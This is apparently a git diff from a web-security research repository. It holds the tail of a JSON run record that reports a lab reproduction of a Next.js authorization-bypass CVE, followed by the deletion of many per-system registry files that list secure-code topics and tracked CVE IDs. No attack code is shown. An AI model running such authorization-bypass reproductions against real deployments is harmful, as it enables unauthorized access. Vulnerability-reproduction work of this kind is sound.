"/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/baseline.json" + ], + "attack_steps": [ + { + "kind": "runner", + "tool": "nextjs.authz-bypass", + "status": "completed", + "status_code": 200, + "result_path": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/attack.json" + } + ], + "browser_refs": [], + "browser_evidence": { + "required": false, + "present": false, + "refs": [], + "baseline_refs": [], + "proof_refs": [], + "baseline_title": null, + "proof_title": null, + "error_kind": null, + "reason": null + }, + "container_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/docker/app.log" + ], + "request_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/attack.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/baseline.json" + ], + "compose_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/compose/compose.yaml" + ], + "timeline": [ + { + "at": "2026-03-18T01:29:13+00:00", + "step": "select-advisory", + "status": "completed", + "detail": "nextjs--CVE-2024-51479" + }, + { + "at": "2026-03-18T01:29:13+00:00", + "step": "resolve-repro-profile", + "status": "completed", + "detail": "nextjs-authz-bypass" + }, + { + "at": "2026-03-18T01:29:13+00:00", + "step": "doctor", + "status": "completed", + "detail": "all checks passed" + }, + { + "at": "2026-03-18T01:29:16+00:00", + "step": "provision-compose-environment", + "status": "ready", + "detail": "" + }, + { + "at": "2026-03-18T01:29:16+00:00", + "step": "wait-ready", + "status": "completed", + "detail": "baseline urls ready (1)" + }, + { + "at": "2026-03-18T01:29:16+00:00", + "step": "seed-environment", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:29:16+00:00", + "step": "baseline-snapshot", + "status": "completed", + "detail": "urls=1" + }, + { + "at": "2026-03-18T01:29:16+00:00", + "step": "controlled-attack-chain", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:29:16+00:00", + "step": "collect-logs-and-evidence", + "status": "completed", + "detail": "container_logs=1" + }, + { + "at": "2026-03-18T01:29:17+00:00", + "step": "cleanup-compose-environment", + "status": "completed", + "detail": "docker compose down completed" + }, + { + "at": "2026-03-18T01:29:17+00:00", + "step": "update-registry-and-reports", + "status": "completed", + "detail": "nextjs-nextjs--CVE-2024-51479-20260318012913" + } + ], + "success_evaluation": { + "passed": true, + "verification_status": "verified-real", + "blocked_reason": null, + "assertions": [ + { + "name": "baseline-ok", + "kind": "baseline-ok", + "passed": true, + "detail": "baseline URLs responded without 5xx or transport errors" + }, + { + "name": "runner-success", + "kind": "runner-success", + "passed": true, + "detail": "server-side authorization recheck was bypassed" + } + ] + }, + "historical_status": "verified-real", + "latest_status": "verified-real", + "started_at": "2026-03-18T01:29:13+00:00", + "finished_at": "2026-03-18T01:29:17+00:00", + "blocked_reason": null, + "report_refs": { + "bundle_dir": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913", + "report_md": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/report.md", + "report_html": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/report.html", + "timeline": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/timeline.mmd" + } +} diff --git a/08-threat-intel/registry/systems/adminer.json b/08-threat-intel/registry/systems/adminer.json deleted file mode 100644 index 58196fa5..00000000 --- a/08-threat-intel/registry/systems/adminer.json +++ /dev/null @@ -1,20 +0,0 @@ -{ - "system_id": "adminer", - "display_name": "Adminer", - "category": "platforms", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/platforms/adminer", - "secure_code_topics": [ - "xss-output-encoding", - "authz-server-side-recheck" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/adobe-commerce.json b/08-threat-intel/registry/systems/adobe-commerce.json deleted file mode 100644 index 7a60e8a4..00000000 --- a/08-threat-intel/registry/systems/adobe-commerce.json +++ /dev/null @@ -1,22 +0,0 @@ -{ - "system_id": "adobe-commerce", - "display_name": "Adobe Commerce", - "category": "ecommerce", - "tier": "history-full", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/ecommerce/adobe-commerce", - "secure_code_topics": [ - "authz-server-side-recheck", - "file-upload-validation", - "xss-output-encoding", - "plugin-extension-trust-policy" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/angular.json b/08-threat-intel/registry/systems/angular.json deleted file mode 100644 index 3fcc11e5..00000000 --- a/08-threat-intel/registry/systems/angular.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "angular", - "display_name": "Angular", - "category": "frameworks", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/frameworks/angular", - "secure_code_topics": [ - "xss-output-encoding", - "template-injection-guard", - "csp-trusted-types" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/apache-httpd.json b/08-threat-intel/registry/systems/apache-httpd.json deleted file mode 100644 index be913fb2..00000000 --- a/08-threat-intel/registry/systems/apache-httpd.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "apache-httpd", - "display_name": "Apache HTTP Server", - "category": "servers", - "tier": "history-full", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/servers/apache-httpd", - "secure_code_topics": [ - "request-smuggling-boundary", - "proxy-trust-boundary", - "path-traversal-guard" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/apache-tomcat.json b/08-threat-intel/registry/systems/apache-tomcat.json deleted file mode 100644 index 0fd8e6a4..00000000 --- a/08-threat-intel/registry/systems/apache-tomcat.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "apache-tomcat", - "display_name": "Apache Tomcat", - "category": "servers", - "tier": "history-full", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/servers/apache-tomcat", - "secure_code_topics": [ - "request-smuggling-boundary", - "authz-server-side-recheck", - "path-traversal-guard" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/aspnet-core.json b/08-threat-intel/registry/systems/aspnet-core.json deleted file mode 100644 index feb9372f..00000000 --- a/08-threat-intel/registry/systems/aspnet-core.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "aspnet-core", - "display_name": "ASP.NET Core", - "category": "frameworks", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/frameworks/aspnet-core", - "secure_code_topics": [ - "authz-server-side-recheck", - "xss-output-encoding", - "file-upload-validation" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/astro.json b/08-threat-intel/registry/systems/astro.json deleted file mode 100644 index 2e4c3809..00000000 --- a/08-threat-intel/registry/systems/astro.json +++ /dev/null @@ -1,20 +0,0 @@ -{ - "system_id": "astro", - "display_name": "Astro", - "category": "frameworks", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/frameworks/astro", - "secure_code_topics": [ - "authz-server-side-recheck", - "csp-trusted-types" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/caddy.json b/08-threat-intel/registry/systems/caddy.json deleted file mode 100644 index fbb572c2..00000000 --- a/08-threat-intel/registry/systems/caddy.json +++ /dev/null @@ -1,20 +0,0 @@ -{ - "system_id": "caddy", - "display_name": "Caddy", - "category": "servers", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/servers/caddy", - "secure_code_topics": [ - "proxy-trust-boundary", - "request-smuggling-boundary" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/directus.json b/08-threat-intel/registry/systems/directus.json deleted file mode 100644 index 08102242..00000000 --- a/08-threat-intel/registry/systems/directus.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "directus", - "display_name": "Directus", - "category": "cms", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/cms/directus", - "secure_code_topics": [ - "authz-server-side-recheck", - "token-cookie-storage", - "file-upload-validation" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/discourse.json b/08-threat-intel/registry/systems/discourse.json deleted file mode 100644 index 922048e2..00000000 --- a/08-threat-intel/registry/systems/discourse.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "discourse", - "display_name": "Discourse", - "category": "cms", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/cms/discourse", - "secure_code_topics": [ - "authz-server-side-recheck", - "xss-output-encoding", - "plugin-extension-trust-policy" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/django.json b/08-threat-intel/registry/systems/django.json deleted file mode 100644 index 002208b2..00000000 --- a/08-threat-intel/registry/systems/django.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "django", - "display_name": "Django", - "category": "frameworks", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/frameworks/django", - "secure_code_topics": [ - "xss-output-encoding", - "path-traversal-guard", - "file-upload-validation" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/drupal.json b/08-threat-intel/registry/systems/drupal.json deleted file mode 100644 index f417c763..00000000 --- a/08-threat-intel/registry/systems/drupal.json +++ /dev/null @@ -1,22 +0,0 @@ -{ - "system_id": "drupal", - "display_name": "Drupal", - "category": "cms", - "tier": "history-full", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/cms/drupal", - "secure_code_topics": [ - "authz-server-side-recheck", - "xss-output-encoding", - "file-upload-validation", - "plugin-extension-trust-policy" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/echo.json b/08-threat-intel/registry/systems/echo.json deleted file mode 100644 index b9b445b0..00000000 --- a/08-threat-intel/registry/systems/echo.json +++ /dev/null @@ -1,20 +0,0 @@ -{ - "system_id": "echo", - "display_name": "Echo", - "category": "frameworks", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/frameworks/echo", - "secure_code_topics": [ - "proxy-trust-boundary", - "token-cookie-storage" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/esbuild.json b/08-threat-intel/registry/systems/esbuild.json deleted file mode 100644 index 26fc3352..00000000 --- a/08-threat-intel/registry/systems/esbuild.json +++ /dev/null @@ -1,20 +0,0 @@ -{ - "system_id": "esbuild", - "display_name": "esbuild", - "category": "frameworks", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/frameworks/esbuild", - "secure_code_topics": [ - "dependency-upgrade-policy", - "file-upload-validation" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/express.json b/08-threat-intel/registry/systems/express.json deleted file mode 100644 index d10a4dd6..00000000 --- a/08-threat-intel/registry/systems/express.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "express", - "display_name": "Express", - "category": "frameworks", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/frameworks/express", - "secure_code_topics": [ - "xss-output-encoding", - "ssrf-url-validation", - "proxy-trust-boundary" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/fastify.json b/08-threat-intel/registry/systems/fastify.json deleted file mode 100644 index 7e585b2b..00000000 --- a/08-threat-intel/registry/systems/fastify.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "fastify", - "display_name": "Fastify", - "category": "frameworks", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/frameworks/fastify", - "secure_code_topics": [ - "proxy-trust-boundary", - "ssrf-url-validation", - "xss-output-encoding" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/flask.json b/08-threat-intel/registry/systems/flask.json deleted file mode 100644 index 551472f0..00000000 --- a/08-threat-intel/registry/systems/flask.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "flask", - "display_name": "Flask", - "category": "frameworks", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/frameworks/flask", - "secure_code_topics": [ - "xss-output-encoding", - "ssrf-url-validation", - "token-cookie-storage" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/ghost.json b/08-threat-intel/registry/systems/ghost.json deleted file mode 100644 index bd37e424..00000000 --- a/08-threat-intel/registry/systems/ghost.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "ghost", - "display_name": "Ghost", - "category": "cms", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/cms/ghost", - "secure_code_topics": [ - "authz-server-side-recheck", - "xss-output-encoding", - "token-cookie-storage" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/gin.json b/08-threat-intel/registry/systems/gin.json deleted file mode 100644 index 36f2fe41..00000000 --- a/08-threat-intel/registry/systems/gin.json +++ /dev/null @@ -1,20 +0,0 @@ -{ - "system_id": "gin", - "display_name": "Gin", - "category": "frameworks", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/frameworks/gin", - "secure_code_topics": [ - "proxy-trust-boundary", - "xss-output-encoding" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/gitea.json b/08-threat-intel/registry/systems/gitea.json deleted file mode 100644 index a946013d..00000000 --- a/08-threat-intel/registry/systems/gitea.json +++ /dev/null @@ -1,59 +0,0 @@ -{ - "system_id": "gitea", - "display_name": "Gitea", - "category": "platforms", - "tier": "rolling-24m", - "total": 37, - "markdown_cases": 37, - "triage_count": 0, - "latest_update": "2026-03-03T04:57:57.697708Z", - "output_dir": "07-framework-security/platforms/gitea", - "secure_code_topics": [ - "authz-server-side-recheck", - "token-cookie-storage", - "proxy-trust-boundary" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 1, - "manual_count": 36, - "items": [ - "gitea--CVE-2026-0798", - "gitea--CVE-2026-20736", - "gitea--CVE-2026-20750", - "gitea--CVE-2026-20800", - "gitea--CVE-2026-20883", - "gitea--CVE-2026-20888", - "gitea--CVE-2026-20897", - "gitea--CVE-2026-20904", - "gitea--CVE-2026-20912", - "gitea--CVE-2025-69413", - "gitea--CVE-2025-68938", - "gitea--CVE-2025-68939", - "gitea--CVE-2025-68940", - "gitea--CVE-2025-68941", - "gitea--CVE-2025-68942", - "gitea--CVE-2025-68943", - "gitea--CVE-2025-68944", - "gitea--CVE-2025-68945", - "gitea--CVE-2025-68946", - "gitea--CVE-2022-42968", - "gitea--CVE-2021-45330", - "gitea--CVE-2018-18926", - "gitea--CVE-2020-13246", - "gitea--CVE-2021-28378", - "gitea--CVE-2022-0905", - "gitea--CVE-2022-1928", - "gitea--CVE-2022-27313", - "gitea--CVE-2022-30781", - "gitea--CVE-2021-29134", - "gitea--CVE-2021-45331", - "gitea--CVE-2021-45327", - "gitea--CVE-2022-38795", - "gitea--CVE-2018-15192", - "gitea--CVE-2019-1010261", - "gitea--CVE-2022-38183", - "gitea--CVE-2021-3382", - "gitea--CVE-2022-1058" - ] -} diff --git a/08-threat-intel/registry/systems/gitlab-ce.json b/08-threat-intel/registry/systems/gitlab-ce.json deleted file mode 100644 index e5fb3c46..00000000 --- a/08-threat-intel/registry/systems/gitlab-ce.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "gitlab-ce", - "display_name": "GitLab CE", - "category": "platforms", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/platforms/gitlab-ce", - "secure_code_topics": [ - "authz-server-side-recheck", - "token-cookie-storage", - "deserialization-safety" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/grafana.json b/08-threat-intel/registry/systems/grafana.json deleted file mode 100644 index 00bf1f78..00000000 --- a/08-threat-intel/registry/systems/grafana.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "grafana", - "display_name": "Grafana", - "category": "platforms", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/platforms/grafana", - "secure_code_topics": [ - "authz-server-side-recheck", - "plugin-extension-trust-policy", - "xss-output-encoding" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/hapi.json b/08-threat-intel/registry/systems/hapi.json deleted file mode 100644 index 97df7ece..00000000 --- a/08-threat-intel/registry/systems/hapi.json +++ /dev/null @@ -1,20 +0,0 @@ -{ - "system_id": "hapi", - "display_name": "Hapi", - "category": "frameworks", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/frameworks/hapi", - "secure_code_topics": [ - "proxy-trust-boundary", - "token-cookie-storage" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/haproxy.json b/08-threat-intel/registry/systems/haproxy.json deleted file mode 100644 index a3836bd0..00000000 --- a/08-threat-intel/registry/systems/haproxy.json +++ /dev/null @@ -1,20 +0,0 @@ -{ - "system_id": "haproxy", - "display_name": "HAProxy", - "category": "servers", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/servers/haproxy", - "secure_code_topics": [ - "proxy-trust-boundary", - "request-smuggling-boundary" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/jenkins.json b/08-threat-intel/registry/systems/jenkins.json deleted file mode 100644 index 14ba8f9b..00000000 --- a/08-threat-intel/registry/systems/jenkins.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "jenkins", - "display_name": "Jenkins", - "category": "platforms", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/platforms/jenkins", - "secure_code_topics": [ - "plugin-extension-trust-policy", - "authz-server-side-recheck", - "deserialization-safety" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/joomla.json b/08-threat-intel/registry/systems/joomla.json deleted file mode 100644 index 63c96c3d..00000000 --- a/08-threat-intel/registry/systems/joomla.json +++ /dev/null @@ -1,22 +0,0 @@ -{ - "system_id": "joomla", - "display_name": "Joomla", - "category": "cms", - "tier": "history-full", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/cms/joomla", - "secure_code_topics": [ - "xss-output-encoding", - "file-upload-validation", - "path-traversal-guard", - "plugin-extension-trust-policy" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/kibana.json b/08-threat-intel/registry/systems/kibana.json deleted file mode 100644 index dfd454b1..00000000 --- a/08-threat-intel/registry/systems/kibana.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "kibana", - "display_name": "Kibana", - "category": "platforms", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/platforms/kibana", - "secure_code_topics": [ - "authz-server-side-recheck", - "xss-output-encoding", - "proxy-trust-boundary" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/koa.json b/08-threat-intel/registry/systems/koa.json deleted file mode 100644 index 4558494a..00000000 --- a/08-threat-intel/registry/systems/koa.json +++ /dev/null @@ -1,20 +0,0 @@ -{ - "system_id": "koa", - "display_name": "Koa", - "category": "frameworks", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/frameworks/koa", - "secure_code_topics": [ - "proxy-trust-boundary", - "ssrf-url-validation" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/laravel.json b/08-threat-intel/registry/systems/laravel.json deleted file mode 100644 index f04a58ab..00000000 --- a/08-threat-intel/registry/systems/laravel.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "laravel", - "display_name": "Laravel", - "category": "frameworks", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/frameworks/laravel", - "secure_code_topics": [ - "xss-output-encoding", - "authz-server-side-recheck", - "file-upload-validation" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/magento-open-source.json b/08-threat-intel/registry/systems/magento-open-source.json deleted file mode 100644 index c7c3b1d7..00000000 --- a/08-threat-intel/registry/systems/magento-open-source.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "magento-open-source", - "display_name": "Magento Open Source", - "category": "ecommerce", - "tier": "history-full", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/ecommerce/magento-open-source", - "secure_code_topics": [ - "authz-server-side-recheck", - "file-upload-validation", - "plugin-extension-trust-policy" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/mattermost.json b/08-threat-intel/registry/systems/mattermost.json deleted file mode 100644 index 475bc17a..00000000 --- a/08-threat-intel/registry/systems/mattermost.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "mattermost", - "display_name": "Mattermost", - "category": "platforms", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/platforms/mattermost", - "secure_code_topics": [ - "authz-server-side-recheck", - "xss-output-encoding", - "token-cookie-storage" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/mediawiki.json b/08-threat-intel/registry/systems/mediawiki.json deleted file mode 100644 index d3e461bf..00000000 --- a/08-threat-intel/registry/systems/mediawiki.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "mediawiki", - "display_name": "MediaWiki", - "category": "cms", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/cms/mediawiki", - "secure_code_topics": [ - "xss-output-encoding", - "authz-server-side-recheck", - "file-upload-validation" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/medusa.json b/08-threat-intel/registry/systems/medusa.json deleted file mode 100644 index 126ad491..00000000 --- a/08-threat-intel/registry/systems/medusa.json +++ /dev/null @@ -1,20 +0,0 @@ -{ - "system_id": "medusa", - "display_name": "Medusa", - "category": "ecommerce", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/ecommerce/medusa", - "secure_code_topics": [ - "authz-server-side-recheck", - "token-cookie-storage" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/moodle.json b/08-threat-intel/registry/systems/moodle.json deleted file mode 100644 index 3bec4c00..00000000 --- a/08-threat-intel/registry/systems/moodle.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "moodle", - "display_name": "Moodle", - "category": "cms", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/cms/moodle", - "secure_code_topics": [ - "authz-server-side-recheck", - "xss-output-encoding", - "file-upload-validation" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/nestjs.json b/08-threat-intel/registry/systems/nestjs.json deleted file mode 100644 index 8a11da0a..00000000 --- a/08-threat-intel/registry/systems/nestjs.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "nestjs", - "display_name": "NestJS", - "category": "frameworks", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/frameworks/nestjs", - "secure_code_topics": [ - "authz-server-side-recheck", - "token-cookie-storage", - "ssrf-url-validation" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/nextjs.json b/08-threat-intel/registry/systems/nextjs.json deleted file mode 100644 index 79896081..00000000 --- a/08-threat-intel/registry/systems/nextjs.json +++ /dev/null @@ -1,48 +0,0 @@ -{ - "system_id": "nextjs", - "display_name": "Next.js", - "category": "frameworks", - "tier": "history-full", - "total": 26, - "markdown_cases": 26, - "triage_count": 0, - "latest_update": "2026-03-13T22:14:13.665535Z", - "output_dir": "07-framework-security/frameworks/nextjs", - "secure_code_topics": [ - "authz-server-side-recheck", - "proxy-trust-boundary", - "token-cookie-storage" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 26, - "items": [ - "nextjs--GHSA-h25m-26qc-wcjf", - "nextjs--CVE-2025-59472", - "nextjs--CVE-2025-59471", - "nextjs--GHSA-5j59-xgg2-r9c4", - "nextjs--GHSA-w37m-7fhw-fmv9", - "nextjs--GHSA-mwv6-3258-q52c", - "nextjs--GHSA-9qr9-h5gf-34mp", - "nextjs--CVE-2025-57752", - "nextjs--CVE-2025-55173", - "nextjs--CVE-2025-57822", - "nextjs--CVE-2025-49826", - "nextjs--CVE-2025-49005", - "nextjs--CVE-2025-48068", - "nextjs--CVE-2025-32421", - "nextjs--CVE-2025-30218", - "nextjs--CVE-2025-29927", - "nextjs--CVE-2024-56332", - "nextjs--CVE-2024-51479", - "nextjs--CVE-2024-47831", - "nextjs--CVE-2024-46982", - "nextjs--CVE-2024-34351", - "nextjs--CVE-2021-43803", - "nextjs--CVE-2021-39178", - "nextjs--CVE-2021-37699", - "nextjs--CVE-2020-15242", - "nextjs--CVE-2020-5284" - ] -} diff --git a/08-threat-intel/registry/systems/nginx.json b/08-threat-intel/registry/systems/nginx.json deleted file mode 100644 index 9f7c93be..00000000 --- a/08-threat-intel/registry/systems/nginx.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "nginx", - "display_name": "Nginx", - "category": "servers", - "tier": "history-full", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/servers/nginx", - "secure_code_topics": [ - "proxy-trust-boundary", - "request-smuggling-boundary", - "csp-trusted-types" - ], - "verified_real": 0, - "verified_synthetic": 0, - 